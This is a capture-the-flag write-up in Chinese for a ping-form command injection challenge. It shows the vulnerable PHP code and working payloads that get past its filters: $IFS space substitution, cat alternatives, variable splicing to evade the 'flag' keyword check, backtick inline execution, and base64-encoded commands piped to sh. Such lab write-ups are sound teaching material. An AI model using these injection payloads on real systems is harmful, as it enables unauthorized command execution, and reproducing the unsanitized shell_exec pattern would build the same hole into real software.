点进来以后是一个url get传参的形式,输入一个ip,然后尝试用;拼接linux命令
;拼接的前后两个命令都会被执行
用ls查看当前目录下的文件,发现有两个文件。
查看flag.php发现空格被过滤了
绕过空格的方法:
针对Linux操作系统:
${IFS}
$IFS
$IFS$9
<
<>
ca\t fl\ag
\x20
$IFS是Linux环境变量,$9就是环境变量的第9个值
1-9都行,跟目标操作系统环境有关系
URL绕过空格:
%20
%09 tab键
%0a 换行
PS:有时会禁用cat:
解决方法是使用tac反向输出命令:从最后一行倒序显示内容,并将所有内容输出
代替cat的命令
cat:由第一行开始显示内容,并将所有内容输出
ca/t
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
dir来查看当前目录文件
这里我们用$IFS$9绕过,发现flag也被过滤了。
没关系,我们去index.php里看看有什么信息。查看页面源代码,我们发现是这样一段php代码。
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
过滤的字符:
& / ? < > * \x{00}-\x{0F} \ " ( ) [] {} “flag” 空格 “bash”
. 匹配除换行符以外的任意字符
* 重复零次或更多次
.* 联合使用是贪婪匹配,查看参数中是否按顺序出现过flag
有三种绕过方式:
这里$a检查的时候也被看做字符串,$a和$b都是自己创建的shell里的变量。注意传进去的是一整个参数,会被整个看做字符串检查。
1. 简单变量替换,用$a拼接flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2.变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
3.内联执行
内联执行就是linux下将反引号中输出的内容作为我们命令的输出
?ip=127.0.0.1|cat$IFS$9`ls`
上面这段代码相当于我们执行cat index.php;cat flag.php
4.被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配
Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
base64 -d file
功能:从指定的文件file中读取已经过base64编码的数据,然后进行解码,并输出解码后的字符串;
echo "str" | base64 -d
功能:对base64编码的字符串str进行解码,然后将解码后的字符串输出;
管道符:
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行(只执行cmd2不执行cmd1)上一条命令的输出作为下一条命令的参数。
bash被过滤,可以用sh代替
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
|sh 就是执行前面的echo脚本